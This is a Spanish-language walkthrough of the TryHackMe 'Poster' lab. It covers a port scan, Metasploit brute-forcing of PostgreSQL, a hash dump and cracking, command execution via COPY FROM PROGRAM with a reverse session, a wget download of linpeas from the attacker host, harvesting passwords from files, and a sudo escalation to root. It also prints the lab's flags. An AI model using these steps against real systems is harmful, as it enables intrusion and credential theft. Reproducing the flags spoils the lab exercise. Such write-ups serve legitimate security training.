Fase 1: Reconocimiento (Escaneo de Puertos)
El primer paso es realizar un escaneo completo de puertos para mapear los servicios expuestos en el host objetivo.
Escaneo Completo de Nmap
Se ejecuta un escaneo completo de puertos TCP (-p-) determinando versiones (-sV) y scripts de reconocimiento básico (-A), con velocidad agresiva (-T5):
sudo nmap -sV -A -T5 -p- 10.130.176.29
Resultados Clave de Nmap
El escaneo revela 3 puertos abiertos de interés:
- Puerto 22 (SSH): Servidor
OpenSSH 7.2p2 Ubuntu 4ubuntu2.10(Ubuntu Linux). - Puerto 80 (HTTP): Servidor web
Apache httpd 2.4.18 (Ubuntu)con el título de página “Poster CMS”. - Puerto 5432 (PostgreSQL): Base de datos
PostgreSQL DB 9.5.8 - 9.5.10o superior.
Fase 2: Enumeración y Explotación de PostgreSQL
1. Búsqueda de Módulos de PostgreSQL en Metasploit
Dado que el puerto de PostgreSQL (5432) se encuentra abierto, iniciamos Metasploit y buscamos módulos relacionados con este servicio:
msfconsole
search postgresql
2. Fuerza Bruta a PostgreSQL
Seleccionamos el escáner de login para PostgreSQL (auxiliary/scanner/postgres/postgres_login):
use 25
show options
Configuramos el host objetivo (RHOSTS) y lanzamos el módulo:
set RHOSTS 10.130.176.29
exploit
El ataque de fuerza bruta identifica de forma exitosa una credencial válida por defecto:
- Usuario:
postgres - Contraseña:
password - Base de datos:
template1
3. Enumeración Adicional de la Base de Datos
Para profundizar en la base de datos, buscamos los módulos de extracción de versión y dump de hashes:
A. Versión de PostgreSQL
Seleccionamos el módulo auxiliary/scanner/postgres/postgres_version (index 33):
use 33
set RHOSTS 10.130.176.29
set PASSWORD password
exploit
- Versión detectada:
PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12)
B. Extracción de Hashes de Usuarios
Cambiamos al módulo auxiliary/scanner/postgres/postgres_hashdump (index 40):
use 40
set PASSWORD password
set RHOSTS 10.130.176.29
exploit
Ejecutamos el exploit y obtenemos los hashes MD5 de la base de datos:
- Hashes extraídos:
darkstart->md58842b99375db43e9fdf238753623a27dposter->md578fb805c7412ae597b399844a54cce0apostgres->md532e12f215ba27cb750c9e093ce4b5127sistemas->md5f7dbc0d5a06653e74da6b1af9290ee2bti->md57af9ac4c593e9e4f275576e13f935579tryhackme->md5503aab1165001c8f8ccae31a8824efddc
4. Descifrado de Hashes
Introducimos el hash del usuario poster (removiendo el prefijo md5) en la herramienta web en línea Free Password Hash Cracker para romper el cifrado MD5:
- Usuario:
poster - Contraseña descifrada:
batmanposter
Fase 3: Acceso Inicial mediante PostgreSQL RCE
1. Selección del Exploit de Inyección de Comandos
Buscamos un exploit de ejecución de comandos sobre PostgreSQL en Metasploit. Seleccionamos el exploit exploit/multi/postgres/postgres_copy_from_program_cmd_exec (index 23):
Este módulo abusa de los privilegios de PostgreSQL mediante la sentencia COPY ... FROM PROGRAM para ejecutar comandos directamente en el sistema operativo.
2. Configuración y Obtención de la Shell
Configuramos los parámetros del exploit utilizando las credenciales obtenidas de poster:
set USERNAME poster
set PASSWORD batmanposter
set RHOSTS 10.130.176.29
set LHOST 192.168.149.112
exploit
La explotación es correcta y abre de forma inmediata una sesión de comandos en el sistema. Ejecutamos ls y verificamos que nos encontramos en el directorio de la base de datos de PostgreSQL.
Fase 4: Movimiento Lateral
1. Enumeración de Usuarios Locales
Listamos la carpeta /home para identificar los usuarios registrados en el sistema operativo:
ls /home
- Usuarios encontrados:
alison,dark
Inspeccionamos la carpeta del usuario dark y localizamos un archivo de texto llamado credentials.txt:
ls /home/dark
cat /home/dark/credentials.txt
- Credenciales obtenidas:
dark:qwerty1234#!hackme
Al intentar leer la flag de usuario en /home/alison/user.txt desde nuestra shell actual (que corre bajo el usuario del sistema postgres), el sistema nos devuelve un error de permiso denegado:
Para automatizar la enumeración local del sistema, levantamos un servidor HTTP local en Python y descargamos el script linpeas.sh:
wget 192.168.149.112:8000/linpeas.sh
Ejecutamos linpeas.sh para auditar debilidades internas del kernel y del sistema de archivos:
2. Acceso al Usuario Dark
Utilizando la credencial encontrada en su directorio (qwerty1234#!hackme), iniciamos sesión como el usuario dark mediante su:
su - dark
Inspeccionamos los permisos en /home/dark y vemos que el archivo credentials.txt tenía los permisos de lectura y escritura habilitados de forma global (-rwxrwxrwx), lo cual explica por qué pudimos leerlo previamente.
3. Búsqueda de Archivos del Usuario Alison
Aún con el usuario dark, no disponemos de permisos suficientes para acceder a la carpeta personal de alison. Buscamos todos los archivos del sistema que pertenezcan al usuario alison para tratar de identificar configuraciones mal protegidas:
find / -type f -user alison 2>/dev/null
El comando revela un hallazgo crítico:
/var/www/html/config.php(propiedad del usuario alison)
4. Obtención de Credenciales de Alison
Inspeccionamos el archivo de configuración /var/www/html/config.php:
cat /var/www/html/config.php
El archivo revela los siguientes parámetros de conexión:
$dbuname = "alison";$dbpass = "p4ssw0rdS3cur3!#";
5. Acceso al Usuario Alison y Captura de Flag User
Iniciamos sesión como alison utilizando su clave recién descubierta (p4ssw0rdS3cur3!#):
su - alison
cat user.txt
- Flag de Usuario:
THM{postgresql_fa1l_conf1gurat1on}
Fase 5: Escalada de Privilegios a Root
1. Comprobación de Sudo y Abuso del Binario Sudo
Verificamos qué privilegios tiene el usuario alison en la configuración de sudoers:
sudo -l
Comprobamos que el usuario alison tiene la capacidad de ejecutar el binario /usr/bin/sudo como superusuario sin ninguna restricción de comando ((ALL : ALL) ALL).
Haciendo referencia al portal GTFOBins para el ejecutable sudo:
Dado que alison puede llamar a sudo mediante sudo, ejecutamos una consola interactiva de root invocando el binario de forma recursiva:
sudo sudo /bin/sh
whoami
- Usuario:
root - Comando de lectura:
cat /root/root.txt - Flag Root:
THM{c0ngrats_for_read_the_f1le_w1th_credent1als}
La máquina ha sido totalmente comprometida de forma exitosa.
Fuentes y Referencias
- TryHackMe - Poster Room: Enlace a la sala oficial del laboratorio.
- GTFOBins - Sudo: Método documentado para abusar de privilegios elevados de sudo.
- PostgreSQL COPY FROM PROGRAM (HackTricks): Explicación del mecanismo RCE de ejecución de comandos por copia en PostgreSQL.